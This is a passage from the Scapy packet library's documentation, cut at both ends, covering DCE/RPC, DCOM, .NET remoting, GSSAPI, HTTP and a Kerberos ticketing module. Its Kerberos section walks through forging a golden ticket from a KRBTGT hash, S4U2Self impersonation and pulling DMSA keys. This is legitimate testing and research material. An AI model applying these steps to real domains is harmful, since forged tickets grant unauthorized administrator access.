DCERPC_Transport.NCACN_IP_TCP, iface="eth0", port=135, portmap={ find_dcerpc_interface("wkssvc"): 12345, }, ndr64=True, ) Debugging with extended error information (eerr) ------------------------------------------------ To debug a RPC call, you can enable the forwarding of Extended Error Information in ``Computer Configuration > Administrative Templates > System > Remote Procedure Call`` on the remote computer. .. image:: ../graphics/dcerpc/debug_eerr.png :align: center Once this is done, load EERR in Scapy (in your script) as such: .. code:: python from scapy.layers.msrpce.mseerr import * To enable parsing of the extended error information. Those information will provide a more in-depth stack trace of errors, if available. Passive sniffing ---------------- If you're doing passive sniffing of a DCE/RPC session, you can instruct Scapy to still use its DCE/RPC session in order to check the INTEGRITY and decrypt (if PRIVACY is used) the packets. .. code-block:: python from scapy.all import * # Bind DCE/RPC port bind_bottom_up(TCP, DceRpc5, dport=12345) bind_bottom_up(TCP, DceRpc5, dport=12345) # Enable passive DCE/RPC session conf.dcerpc_session_enable = True # Define SSPs that can be used for decryption / verify conf.winssps_passive = [ SPNEGOSSP([ NTLMSSP( IDENTITIES={ "User1": MD4le("Password1!"), }, ), ]) ] # Sniff pkts = sniff(offline="dcerpc_exchange.pcapng", session=TCPSession) pkts.show() .. warning:: NTLM, KerberosSSP and SPNEGOSSP are currently supported. NetlogonSSP is still unsupported. Define custom packets --------------------- TODO: Add documentation on how to define NDR packets. .. _Design choices: Design choices -------------- NDR is a rather complex encoding. For instance, there are multiple types of arrays: - fixed arrays - conformant arrays - varying arrays - conformant varying arrays All of which have slightly different representations on the network, but generally speaking it can look like this: .. image:: ../graphics/dcerpc/ndr_conformant_varying_array.png :align: center Those lengths are mostly computable, but this raises the question of: **what should Scapy report to the user?**. Some implementations (like impacket's), have chosen to abstract the lengths, offsets, etc. and hide it to the user. This has the big advantage that it makes packets much easier to build, but has the inconvenience that it is in fact hiding part of the information contained in the packet, which really is against Scapy's philosophy. The same happens when encoding pointers, which looks something like this: .. image:: ../graphics/dcerpc/ndr_full_pointer.png :align: center where it is tempting to hide the ``referent_id`` part, which is on Windows in most parts irrelevant. **In Scapy, you will find all the fields**. The pros are that it is exhaustive and doesn't hide any information, the cons is that you need to use the utils (``valueof()`` on dissection, implicit ``any2i`` on build) in order for it not to be a massive pain. ================================================ FILE: doc/scapy/layers/dcom.rst ================================================ [MS-DCOM] ========= DCOM is a mechanism to manipulate COM objects remotely. It is in many ways just an extension over normal DCE/RPC, so understanding DCE/RPC concepts beforehand can be very useful. Before reading this, have a look at Scapy's `DCE/RPC `_ documentation page. Terminology ----------- - In DCOM one instantiates 'classes' to get 'object references'. A class implements one or several 'interfaces', each of which has methods. - ``CLSID``: the UIID of a **class**, used to instantiate it. This is typically chosen by whoever implements the COM object. - ``IID``: the UIID of an **interface**, used to request an IPID. This is chosen by whoever defines the COM interface (mostly Microsoft). - ``IPID``: a UIID that uniquely references an **interface on an object**. This allows to tell DCOM on which object to run the request we send. There are other IDs such as the OID (a 64bit number that uniquely references each object), and the OXID (a 64bit number that uniquely references each object exporter), but we won't get into the details. Per the spec, a DCOM client is supposed to keep track of the IPID, OID and OXID ids. In this regard, Scapy abstracts their usage. On the other hand, the calling application is supposed to know the ``CLSID`` of the class it wishes to instantiate, and the various ``IID`` of the interfaces it wishes to use. General behavior of a DCOM client --------------------------------- 1. Setup the DCOM client (endpoint, SSP, etc.) 2. Get an object reference: Instantiate a class to get an object reference of the instance (``RemoteCreateInstance``), **OR**, get an object reference towards the class itself (``RemoteGetClassObject``). 3. Acquire the IPID of an interface of the object. 4. Call a method of that interface. 5. Release the reference counts on the interface (delete the IPID). Step 3 can be done manually through the ``AcquireInterface()`` method, but Scapy will also automatically call it if you try to use an interface that you haven't acquired on an object. Using the DCOM client --------------------- General usage ~~~~~~~~~~~~~ 1. Setup the DCOM client and connect to the object resolver (which is by default on port 135). .. code:: python from scapy.layers.msrpce.msdcom import DCOM_Client from scapy.layers.ntlm import NTLMSSP client = DCOM_Client( ssp=NTLMSSP(UPN="Administrator@domain.local", PASSWORD="Scapy1111@"), ) client.connect("server1.domain.local") .. note:: See the examples in `DCE/RPC `_ to connect with SPNEGO/Kerberos. 2. Instantiate a class to get an object reference .. code:: python import uuid from scapy.layers.dcerpc import find_com_interface from scapy.layers.msrpce.raw.ms_pla import GetDataCollectorSets_Request CLSID_TraceSessionCollection = uuid.UUID("03837530-098b-11d8-9414-505054503030") # The COM interface must have been compiled by scapy-rpc (midl-to-scapy) IDataCollectorSetCollection = find_com_interface("IDataCollectorSetCollection") # Get new object reference objref = client.RemoteCreateInstance( # The CLSID we're instantiating clsid=CLSID_TraceSessionCollection, iids=[ # An initial list of interfaces to ask for. There must be at least 1. IDataCollectorSetCollection, ] ) 3. Call a method on that object reference .. code:: python result = objref.sr1_req( # The request message (here from [MS-PLA]) pkt=GetDataCollectorSets_Request( server=None, filter=NDRPointer( referent_id=0x72657355, value=FLAGGED_WORD_BLOB( cBytes=18, asData=r"session\*".encode("utf-16le"), ) ), ), # The interface to send it on iface=IDataCollectorSetCollection, ) 4. Release all the requested interfaces on the object reference .. code:: python objref.release() 5. Close the client .. code:: python client.close() Unmarshalling object references ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Some methods return a reference to an object that is created by the remote server. On the network, those are typically marshalled as a ``MInterfacePointer`` structure. Such a structure can be "unmarshalled" into a local object reference that can be used in Scapy to call methods on that object. .. code:: python # For instance, let's assume we're calling Next() of the IEnumVARIANT resp = enum.sr1_req( pkt=Next_Request(celt=1), iface=IEnumVARIANT, ) # Get the MInterfacePointer value value = resp.valueof("rgVar")[0].valueof("_varUnion") assert isinstance(value, MInterfacePointer) # Unmarshall it and acquire an initial interface on it. objref = client.UnmarshallObjectReference( value, iid=IDataCollectorSet, ) ================================================ FILE: doc/scapy/layers/dotnet.rst ================================================ .NET Protocols ============== Scapy implements a few .NET specific protocols. Those protocols are a bit uncommon, but it can be useful to try to understand what's sent by .NET applications, or for more offensive purposes (issues with .NET deserialization for instance). .NET Remoting ------------- Implemented under ``ms_nrtp``, you can load it using:: from scapy.layers.ms_nrtp import * This supports: - The .NET remote protocol: ``NRTP*`` classes - The .NET Binary Formatter: ``NRBF*`` classes For instance you can try to parse a .NET Remoting payload generated using ysoserial with the ``NRBF()`` to analyse what it's doing. ================================================ FILE: doc/scapy/layers/gssapi.rst ================================================ GSSAPI ====== Scapy provides access to various `Security Providers `_ following the GSSAPI model, but aiming at interacting with the Windows world. .. note:: The GSSAPI interfaces are based off the following documentations: - GSSAPI: `RFC4121 `_ / `RFC2743 `_ - GSSAPI C bindings: `RFC2744 `_ Usage ----- .. _ssplist: The following SSPs are currently provided: - :class:`~scapy.layers.ntlm.NTLMSSP` - :class:`~scapy.layers.kerberos.KerberosSSP` - :class:`~scapy.layers.spnego.SPNEGOSSP` - :class:`~scapy.layers.msrpce.msnrpc.NetlogonSSP` Basically those are classes that implement two functions, trying to micmic the RFCs: - :func:`~scapy.layers.gssapi.SSP.GSS_Init_sec_context`: called by the client, passing it a ``Context`` and optionally a token - :func:`~scapy.layers.gssapi.SSP.GSS_Accept_sec_context`: called by the server, passing it a ``Context`` and optionally a token They both return the updated Context, a token to optionally send to the server/client and a GSSAPI status code. .. note:: You can typically use it in :class:`~scapy.layers.smbclient.SMB_Client`, :class:`~scapy.layers.smbserver.SMB_Server`, :class:`~scapy.layers.msrpce.rpcclient.DCERPC_Client` or :class:`~scapy.layers.msrpce.rpcserver.DCERPC_Server`. Have a look at `SMB `_ and `DCE/RPC `_ to get examples on how to use it. Let's implement our own client that uses one of those SSPs. Client ~~~~~~ .. _ntlm: First let's create the SSP. We'll take :class:`~scapy.layers.ntlm.NTLMSSP` as an example but the others would work just as well. .. code:: python from scapy.layers.ntlm import * clissp = NTLMSSP( UPN="Administrator@domain.local", PASSWORD="Password1!", ) Let's get the first token (in this case, the ntlm negotiate): .. code:: python # We start with a context = None and a val (server answer) = None sspcontext, token, status = clissp.GSS_Init_sec_context(None, None) # sspcontext will be passed to subsequent calls and stores information # regarding this NTLM session, token is the NTLM_NEGOTIATE and status # the state of the SSP assert status == GSS_S_CONTINUE_NEEDED Send this token to the server, or use it as required, and get back the server's token. You can then pass that token as the second parameter of :func:`~scapy.layers.gssapi.SSP.GSS_Init_sec_context`. To give an example, this is what is done in the LDAP client: .. code:: python # Do we have a token to send to the server? while token: resp = self.sr1( LDAP_BindRequest( bind_name=ASN1_STRING(b""), authentication=LDAP_Authentication_SaslCredentials( mechanism=ASN1_STRING(b"SPNEGO"), credentials=ASN1_STRING(bytes(token)), ), ) ) sspcontext, token, status = clissp.GSS_Init_sec_context( self.sspcontext, GSSAPI_BLOB(resp.protocolOp.serverSaslCreds.val) ) .. _spnego: If you want to use :class:`~scapy.layers.spnego.SPEGOSSP`, you could wrap the SSP as so: .. code:: python from scapy.layers.ntlm import * from scapy.layers.spnegossp import SPNEGOSSP clissp = SPNEGOSSP( [ NTLMSSP( UPN="Administrator@domain.local", PASSWORD="Password1!", ), KerberosSSP( UPN="Administrator@domain.local", PASSWORD="Password1!", SPN="host/dc1.domain.local", ), ] ) You can override the GSS-API ``req_flags`` when calling :func:`~scapy.layers.gssapi.SSP.GSS_Init_sec_context`, using values from :class:`~scapy.layers.gssapi.GSS_C_FLAGS`: .. code:: python sspcontext, token, status = clissp.GSS_Init_sec_context(None, None, req_flags=( GSS_C_FLAGS.GSS_C_EXTENDED_ERROR_FLAG | GSS_C_FLAGS.GSS_C_MUTUAL_FLAG | GSS_C_FLAGS.GSS_C_CONF_FLAG # Asking for CONFIDENTIALITY )) Server ~~~~~~ Implementing a server is very similar to a client but you'd use :func:`~scapy.layers.gssapi.SSP.GSS_Accept_sec_context` instead. The client is properly authenticated when `status` is `GSS_S_COMPLETE`. Let's use :class:`~scapy.layers.ntlm.NTLMSSP` as an example of server-side SSP. .. code:: python from scapy.layers.ntlm import * clissp = NTLMSSP( IDENTITIES={ "User1": MD4le("Password1!"), "User2": MD4le("Password2!"), } ) You'll find other examples of how to instantiate a SSP in the docstrings of each SSP. See `the list <#ssplist>`_ ================================================ FILE: doc/scapy/layers/http.rst ================================================ HTTP ==== Scapy supports the sending / receiving of HTTP packets natively. HTTP 1.X -------- .. note:: Support for HTTP 1.X was added in ``2.4.3``, whereas HTTP 2.X was already in ``2.4.0``. About HTTP 1.X ______________ HTTP 1.X is a *text protocol*. Those are pretty unusual nowadays (HTTP 2.X is binary), therefore its implementation is very different. For transmission purposes, HTTP 1.X frames are split in various fragments during the connection, which may or not have been encoded. This is explain over https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Transfer-Encoding To summarize, the frames can be split in 3 different ways: - ``chunks``: split in fragments called chunks that are preceded by their length. The end of a frame is marked by an empty chunk - using ``Content-Length``: the header of the HTTP frame announces the total length of the frame - None of the above: the HTTP frame ends when the TCP stream ends / when a TCP push happens. Moreover, each frame may be additionally compressed, depending on the algorithm specified in the HTTP header: - ``compress``: compressed using *LZW* - ``deflate``: compressed using *ZLIB* - ``br``: compressed using *Brotli* - ``gzip`` Let's have a look at what happens when you perform an HTTPRequest using Scapy's ``TCP_client`` (explained below): .. image:: ../graphics/http_tcp.png Once the first SYN/ACK is done, the connection is established. Scapy will send the ``HTTPRequest()``, and the host will answer with HTTP fragments. Scapy will ACK each of those, and recompile them using ``TCPSession``, like Wireshark does when it displays the answer frame. HTTP 1.X in Scapy _________________ Let's list the module's content:: >>> explore(scapy.layers.http) Packets contained in scapy.layers.http: Class |Name ------------|------------- HTTP |HTTP 1 HTTPRequest |HTTP Request HTTPResponse|HTTP Response There are two frames available: ``HTTPRequest`` and ``HTTPResponse``. The ``HTTP`` is only used during dissection, as a util to choose between the two. All common header fields should be supported. - **Default HTTPRequest:** .. code:: python >>> HTTPRequest().show() ###[ HTTP Request ]### Method= 'GET' Path= '/' Http_Version= 'HTTP/1.1' A_IM= None Accept= None Accept_Charset= None Accept_Datetime= None Accept_Encoding= None [...] - **Default HTTPResponse:** .. code:: python >>> HTTPResponse().show() ###[ HTTP Response ]### Http_Version= 'HTTP/1.1' Status_Code= '200' Reason_Phrase= 'OK' Accept_Patch43= None Accept_Ranges= None [...] Use Scapy to send/receive HTTP 1.X __________________________________ Scapy uses `Sessions classes <../usage.html#advanced-sniffing-sessions>`_ (more specifically the ``TCPSession`` class), in order to dissect and reconstruct HTTP packets. This handles Content-Length, chunks and/or compression. Here are the main ways of using HTTP 1.X with Scapy: - :class:`~scapy.layers.http.HTTP_Client`: Automata that send HTTP requests. It supports the :func:`~scapy.layers.gssapi.SSP` mechanism to support authorization with NTLM, Kerberos, etc. - :class:`~scapy.layers.http.HTTP_Server`: Automata to handle incoming HTTP requests. Also supports :func:`~scapy.layers.gssapi.SSP`. - ``sniff(session=TCPSession, [...])``: Perform decompression / defragmentation on all TCP streams simultaneously, but only acts passively. - ``TCP_client.tcplink(HTTP, host, 80)``: Acts as a raw TCP client, handles SYN/ACK, and all TCP actions, but only creates one stream. It however supports some specific features, such as changing the source IP. **Examples:** - :class:`~scapy.layers.http.HTTP_Client`: Let's perform a very simple GET request to an HTTP server: .. code:: python from scapy.layers.http import * # or load_layer("http") client = HTTP_Client() resp = client.request("http://127.0.0.1:8080") client.close() You can use the following shorthand to do the same very basic feature: :func:`~scapy.layers.http.http_request`, usable as so: .. code:: python load_layer("http") http_request("www.google.com", "/") # first argument is Host, second is Path Let's do the same request, but this time to a server that requires NTLM authentication: .. code:: python from scapy.layers.http import * # or load_layer("http") client = HTTP_Client( HTTP_AUTH_MECHS.NTLM, ssp=NTLMSSP(UPN="user", PASSWORD="password"), ) resp = client.request("http://127.0.0.1:8080") client.close() - :class:`~scapy.layers.http.HTTP_Server`: Start an unauthenticated HTTP server automaton: .. code:: python from scapy.layers.http import * from scapy.layers.ntlm import * class Custom_HTTP_Server(HTTP_Server): def answer(self, pkt): if pkt.Path == b"/": return HTTPResponse() / ( "

OK

" ) else: return HTTPResponse( Status_Code=b"404", Reason_Phrase=b"Not Found", ) / ( "

404 - Not Found

" ) server = Custom_HTTP_Server.spawn( port=8080, iface="eth0", ) We could also have started the same server, but requiring **NTLM authorization using**: .. code:: python server = HTTP_Server.spawn( port=8080, iface="eth0", mech=HTTP_AUTH_MECHS.NTLM, ssp=NTLMSSP(IDENTITIES={"user": MD4le("password")}), ) Or **basic auth**: .. code:: python server = HTTP_Server.spawn( port=8080, iface="eth0", mech=HTTP_AUTH_MECHS.BASIC, BASIC_IDENTITIES={"user": MD4le("password")}, ) - ``TCP_client.tcplink``: Send an HTTPRequest to ``www.secdev.org`` and write the result in a file: .. code:: python load_layer("http") req = HTTP()/HTTPRequest( Accept_Encoding=b'gzip, deflate', Cache_Control=b'no-cache', Connection=b'keep-alive', Host=b'www.secdev.org', Pragma=b'no-cache' ) a = TCP_client.tcplink(HTTP, "www.secdev.org", 80) answer = a.sr1(req) a.close() with open("www.secdev.org.html", "wb") as file: file.write(answer.load) ``TCP_client.tcplink`` makes it feel like it only received one packet, but in reality it was recombined in ``TCPSession``. If you performed a plain ``sniff()``, you would have seen those packets. - ``sniff()``: Dissect a pcap which contains a JPEG image that was sent over HTTP using chunks. This is able to reconstruct all HTTP streams in parallel. .. note:: The ``http_chunk.pcap.gz`` file is available in ``scapy/test/pcaps`` .. code:: python load_layer("http") pkts = sniff(offline="http_chunk.pcap.gz", session=TCPSession) # a[29] is the HTTPResponse with open("image.jpg", "wb") as file: file.write(pkts[29].load) HTTP 2.X -------- The HTTP 2 documentation is available as a Jupyter notebook over here: `HTTP 2 Tuto `_ ================================================ FILE: doc/scapy/layers/index.rst ================================================ .. Layer-specific documentation Layers ====== .. toctree:: :glob: :titlesonly: * ================================================ FILE: doc/scapy/layers/kerberos.rst ================================================ Kerberos ======== .. note:: Kerberos per `RFC4120 `_ + `RFC6113 `_ (FAST) + `[MS-KILE] `_ (Windows) Scapy's Kerberos implementation is accessed through two main components: - :class:`~scapy.modules.ticketer.Ticketer`: a module that allows manipulating Kerberos tickets; - :class:`~scapy.layers.kerberos.KerberosSSP`: an implementation of a GSSAPI SSP for Kerberos, usable in any of Scapy's client that support GSSAPI, for both authentication and encryption. The general idea is that the first one allows to request tickets and perform almost all Kerberos related operations (S4U2Self, S4U2Proxy, FAST armoring, U2U, DMSA, etc.). The latter is used once a final Service Ticket is obtained, by other parts of Scapy, for instance `SMB `_, `LDAP `_ or `DCE/RPC `_. Ticketer module ~~~~~~~~~~~~~~~ The :class:`~scapy.modules.ticketer.Ticketer` module can be used both from the CLI or programmatically to perform operations on Kerberos tickets. To use it, you must first create an instance of a :class:`~scapy.modules.ticketer.Ticketer`, which acts as both a **ccache** (holds tickets) and a **keytab** (holds secrets). This section tries to give many usage examples, but isn't exhaustive. For more details regarding the parameters of each functions, it is encouraged to have a look at the docstrings of :class:`~scapy.layers.kerberos.KerberosClient`. - **Request TGT**: see the docstring of :func:`~scapy.layers.kerberos.krb_as_req` .. code:: pycon >>> load_module("ticketer") >>> t = Ticketer() >>> t.request_tgt("Administrator@DOMAIN.LOCAL") Enter password: ************ >>> t.show() Tickets: 0. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL Start time End time Renew until Auth time 31/08/23 11:38:34 31/08/23 21:38:34 31/08/23 21:38:35 31/08/23 01:38:34 - **Then request a ST, using the TGT**: see the docstring of :func:`~scapy.layers.kerberos.krb_tgs_req` .. code:: pycon >>> # The TGT we just got has an ID of 0 >>> t.request_st(0, "host/dc1.domain.local") >>> t.show() Tickets: 0. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL Start time End time Renew until Auth time 31/08/23 11:38:34 31/08/23 21:38:34 31/08/23 21:38:35 31/08/23 01:38:34 1. Administrator@DOMAIN.LOCAL -> host/dc1.domain.local@DOMAIN.LOCAL Start time End time Renew until Auth time 31/08/23 11:39:07 31/08/23 21:38:34 31/08/23 21:38:35 31/08/23 01:38:34 - **Use ticket as SSP**: the :func:`~scapy.modules.ticketer.Ticketer.ssp` function. .. code:: pycon >>> # We use ticket 1 from the above store. >>> smbclient("dc1.domain.local", ssp=t.ssp(1)) - **Request a TGT using a hash**: see the docstring of :func:`~scapy.layers.kerberos.krb_as_req` .. code:: pycon >>> from scapy.libs.rfc3961 import EncryptionType >>> load_module("ticketer") >>> t = Ticketer() >>> # Using the HashNT >>> t.request_tgt("Administrator@DOMAIN.LOCAL", key=Key(EncryptionType.RC4_HMAC, bytes.fromhex("2b576acbe6bcfda7294d6bd18041b8fe"))) >>> # Using the AES-256-SHA1-96 Kerberos Key >>> t.request_tgt("Administrator@domain.local", key=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, bytes.fromhex("63a2577d8bf6abeba0847cded36b9aed202c23750eb9c56b6155be1cc946bb1d"))) - **Request a TGT using PKINIT**: .. code:: pycon >>> from scapy.libs.rfc3961 import EncryptionType >>> load_module("ticketer") >>> t = Ticketer() >>> # If P12: >>> t.request_tgt("Administrator@DOMAIN.LOCAL", p12="admin.pfx", ca="ca.pem") >>> # One could also have used a different cert and key file: >>> t.request_tgt("Administrator@DOMAIN.LOCAL", x509="admin.cert", x509key="admin.key", ca="ca.pem") - **Request a user TGT with Kerberos armoring (FAST)** The ``armor_with`` keyword allows to select a ticket to armor the request with. .. code:: pycon >>> load_module("ticketer") >>> t = Ticketer() >>> t.request_tgt("Machine01$@DOMAIN.LOCAL", key=Key(EncryptionType.RC4_HMAC, bytes.fromhex("2b576acbe6bcfda7294d6bd18041b8fe"))) >>> t.show() Tickets: 0. Machine01$@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL Start time End time Renew until Auth time 31/08/23 11:38:34 31/08/23 21:38:34 31/08/23 21:38:35 31/08/23 01:38:34 >>> t.request_tgt("Administrator@domain.local", armor_with=0) # Armor with ticket n°0 - **Renew a TGT or ST**: .. code:: >>> t.renew(0) # renew TGT >>> t.renew(1) # renew ST. Works only with 'host/' SPNs >>> t.renew(1, armor_with=0) # renew something with armoring - **Import tickets from a ccache**: .. note:: We first added a realm ``DOMAIN.LOCAL`` with a kdc to ``/etc/krb5.conf`` .. code:: pycon $ kinit Administrator@DOMAIN.LOCAL Password for Administrator@DOMAIN.LOCAL: $ scapy >>> load_module("ticketer") >>> t = Ticketer() >>> t.open_ccache("/tmp/krb5cc_1000") >>> t.show() Tickets: 1. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL Start time End time Renew until Auth time 31/08/23 12:08:15 31/08/23 22:08:15 01/09/23 12:08:12 31/08/23 12:08:15 - **Export tickets into a ccache**: .. code:: pycon >>> load_module("ticketer") >>> t = Ticketer() >>> t.request_tgt("Administrator@domain.local", password="ScapyScapy1") >>> t.save_ccache("/tmp/krb5cc_1000") >>> exit() $ klist Ticket cache: FILE:/tmp/krb5cc_1000 Default principal: Administrator@DOMAIN.LOCAL Valid starting Expires Service principal 08/31/2023 12:08:15 08/31/2023 23:08:15 krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL renew until 09/01/2023 12:08:12 - **Perform S4U2Self** .. code:: pycon >>> load_module("ticketer") >>> t = Ticketer() >>> t.request_tgt("SERVER1$@domain.local", key=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, bytes.fromhex("63a2577d8bf6abeba0847cded36b9aed202c23750eb9c56b6155be1cc946bb1d"))) >>> t.request_st(0, "host/SERVER1", for_user="Administrator@domain.local") >>> t.show() CCache tickets: 0. SERVER1$@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL canonicalize+pre-authent+initial+renewable+forwardable Start time End time Renew until Auth time 15/04/25 20:15:17 16/04/25 06:10:22 16/04/25 06:10:22 15/04/25 20:15:17 1. Administrator@domain.local -> host/SERVER1@DOMAIN.LOCAL canonicalize+pre-authent+renewable+forwardable Start time End time Renew until Auth time 15/04/25 20:15:20 16/04/25 06:10:22 16/04/25 06:10:22 15/04/25 20:15:17 - **Request a ticket for a DMSA** For more information about DMSAs and how to create them, consult the `relevant Microsoft documentation `_. In this example we allowed ``SERVER1$`` to retrieve the managed password of ``dmsa_user$``. .. code:: pycon >>> load_module("ticketer") >>> t = Ticketer() >>> t.request_tgt("SERVER1$@domain.local", key=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, bytes.fromhex("63a2577d8bf6abeba0847cded36b9aed202c23750eb9c56b6155be1cc946bb1d"))) >>> t.request_st(0, "krbtgt/domain.local", for_user="dmsa_user$@domain.local", dmsa=True) INFO: 3 DMSA keys found and imported ! >>> t.show() Keytab name: UNSAVED Principal Timestamp KVNO Keytype dmsa_user$@domain.local 22/05/25 22:03:58 1 AES256-CTS-HMAC-SHA1-96 dmsa_user$@domain.local 22/05/25 22:03:58 2 AES128-CTS-HMAC-SHA1-96 dmsa_user$@domain.local 22/05/25 22:03:58 3 RC4-HMAC CCache tickets: 0. SERVER1$@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL canonicalize+pre-authent+initial+renewable+forwardable Start time End time Renew until Auth time 22/05/25 22:06:32 23/05/25 08:03:53 23/05/25 08:03:53 22/05/25 22:06:32 1. dmsa_user$@domain.local -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL canonicalize+pre-authent+renewable+forwardable Start time End time Renew until Auth time 22/05/25 22:06:37 23/05/25 08:03:53 23/05/25 08:03:53 22/05/25 22:06:32 As you can see, DMSA keys were imported in the keytab. You can use those as detailed in some of the following sections. - **Load and use keytab for client** .. code:: pycon >>> load_module("ticketer") >>> t = Ticketer() >>> t.open_keytab("test.keytab") >>> t.show() Keytab name: test.keytab Principal Timestamp KVNO Keytype Administrator@domain.local 14/04/25 21:47:59 0 AES128-CTS-HMAC-SHA1-96 Administrator@domain.local 14/04/25 21:47:59 0 AES256-CTS-HMAC-SHA1-96 Administrator@domain.local 14/04/25 21:47:59 0 RC4-HMAC No tickets in CCache. >>> t.request_tgt("Administrator@domain.local") - **Load and use keytab for server:** .. code:: pycon >>> t.open_keytab("server1.keytab") >>> t.show() Keytab name: server1.keytab Principal Timestamp KVNO Keytype host/Server1.domain.local@DOMAIN.LOCAL 01/01/70 01:00:00 10 RC4-HMAC No tickets in CCache. >>> ssp = t.ssp("host/Server11.domain.local@DOMAIN.LOCAL") >>> # Example: start a SMB server >>> smbserver(ssp=ssp) - **Create client keytab:** .. code:: pycon >>> t = Ticketer() >>> t.add_cred("Administrator@domain.local", etypes="all") Enter password: ************ >>> t.show() Keytab name: UNSAVED Principal Timestamp KVNO Keytype Administrator@domain.local 15/04/25 20:24:13 1 AES128-CTS-HMAC-SHA1-96 Administrator@domain.local 15/04/25 20:24:13 2 AES256-CTS-HMAC-SHA1-96 Administrator@domain.local 15/04/25 20:24:13 3 RC4-HMAC No tickets in CCache. - **Create server keytab:** The following is equivalent to Windows' ``ktpass.exe /out kt.keytab /mapuser WKS02$@domain.local /princ host/WKS02.domain.local@domain.local /pass ScapyIsNice``. .. code:: pycon >>> t = Ticketer() >>> t.add_cred("host/WKS02.domain.local@domain.local", etypes="all", mapupn="WKS02$@domain.local", password="ScapyIsNice") Enter password: ************ >>> t.show() Keytab name: UNSAVED Principal Timestamp KVNO Keytype host/WKS02$.domain.local@domain.local 25/02/26 15:40:27 1 AES256-CTS-HMAC-SHA1-96 No tickets in CCache. >>> t.save_keytab("kt.keytab") - **Change password using kpasswd in 'set' mode:** .. code:: pycon >>> t = Ticketer() >>> t.request_tgt("Administrator@domain.local") Enter password: ************ >>> t.kpasswdset(0, "SERVER1$@domain.local") INFO: Using 'Set Password' mode. This only works with admin privileges. Enter NEW password: *********** - **Craft tickets**: We can start by showing how to craft a **golden ticket**: .. code:: pycon >>> load_module("ticketer") >>> t = Ticketer() >>> t.create_ticket() User [User]: Administrator Domain [DOM.LOCAL]: DOMAIN.LOCAL Domain SID [S-1-5-21-1-2-3]: S-1-5-21-4239584752-1119503303-314831486 Group IDs [513, 512, 520, 518, 519]: 512, 520, 513, 519, 518 User ID [500]: 500 Primary Group ID [513]: Extra SIDs [] :S-1-18-1 Expires in (h) [10]: What key should we use (AES128-CTS-HMAC-SHA1-96/AES256-CTS-HMAC-SHA1-96/RC4-HMAC) ? [AES256-CTS-HMAC-SHA1-96]: Enter the NT hash (AES-256) for this ticket (as hex): 6df5a9a90cb076f4d232a123d9c24f46ae11590a5430710bc1881dca337989ce >>> t.show() Tickets: 0. Administrator@DOMAIN.LOCAL -> krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL >>> t.save_ccache(fname="blob.ccache") - **Edit tickets with the GUI** Let's assume you've acquired the KRBTGT of a KDC, plus you've used ``kinit`` to get a ticket. This ticket was saved to a ``.ccache`` file, that we'll know try to open. .. note:: You can get the demo ccache file using the following .. code:: cat < krb.ccache BQQADAABAAj/////AAAAAAAAAAEAAAABAAAADERPTUFJTi5MT0NBTAAAAA1BZG1pbmlzdHJhdG9y AAAAAQAAAAEAAAAMRE9NQUlOLkxPQ0FMAAAADUFkbWluaXN0cmF0b3IAAAACAAAAAgAAAAxET01B SU4uTE9DQUwAAAAGa3JidGd0AAAADERPTUFJTi5MT0NBTAASAAAAIItCJqGQhmy+NFrl5miCPt1T WcsAvUeaZCi8j+sbpVdSYzMy+mMzMvpjM7+aYzSEdwBQ4QAAAAAAAAAAAAAAAARIYYIERDCCBECg AwIBBaEOGwxET01BSU4uTE9DQUyiITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDERPTUFJTi5MT0NBTKOC BAQwggQAoAMCARKhAwIBAqKCA/IEggPuZiwq78yj+MeN444a8dY7GN4BHYZNm+wS88EeILC73Ebm 9cgxGzMbHMJ7Ixk+kPpHunqmpn+6WCah9HVOpQUO6rLgfQej7BApsqEeBYzjHkj03ivOAX6cKRXu QP+g9xCVlwiChvopD+bKd3RlFixXV6Z8xTqOMgSEakypz/MMgHPR6ec1tesicX+Xd8Lzj7E9IElS 2xXk8WDiZTX1lvPOZPmo2WARcY0EBWUNf3xyj4fdLQ4iDkYQNH+qikUJm2OjUfWtz8z2adm2ES4x iBr4aVYSlKIetuKxZLjObGx7AyfsbHHCN4SwbBkDCj+BEZ83fLbwOVtUd7/7xcGiJk7Er3b0s5pO L3Aw1IyOu8ryEgNuoKWr3V2pH83D+5cA1TefA/vJ/jpHB42uMLBaQY9G7p6iX1IOt+Z7U9lvf0hu WHiyLqj0IVE3p9z39Lb1BGNxXZ08VE8pRCDtD3QmlV+gpSfvzoYmT3wpvfws7iw+sifrS3ZR64AI 4OsmlEakVIgpawQn+CuVmtBwFGzYqa7Z7yNoFb0hSfP4bXMidYTylNyGz0p35O6r+Y9PNC2/xL60 bYNLDDED2MWWTK1IUu7TZcqOUJN+IZdhItXN4Yxatt1VKMOmgMCiGXEXZt1bajwQOuZa1fVzoxVD oOvO/eF0kGKVEDD2OQfN4JIBDCLJB2MkjJ9s0DpvCny5p7dEG8feTEDB10k3Ov7ll6Usnb51M9e6 JKOibfKUdLk2Q+7Zf2uP/ROXaGmESEG902TyRU1uPOGuZ37AHFksJbUOEgMDJA3arILfqdY7HELC ObeKbE67orZFi5JJMcUrIjucnP1s8PCD5iOeMHR/EwLei96U/odWteARj17WHczDhi3byT8QPDFg rBWFjL4zBCDW4H4snyQsLK+PBNg/PNcfQEwdVoFMniqnh3Y6vClTNCmUh/RU5LTrXw58PPXjdzdK z4J8n+JV4cfNsTEp7wfHMRZO5O7VA/c1gpqLfMLjcY2yPYWDj796Q4YaHI+JDkwzQ3tldJlGtG9s /xdnFY9WhLA18uoIb3tWT2pXBQcUtMrVFltyvm96aCCy6fiTZQYUfmSnei+c+cE/5P1ZuDGRiYEB 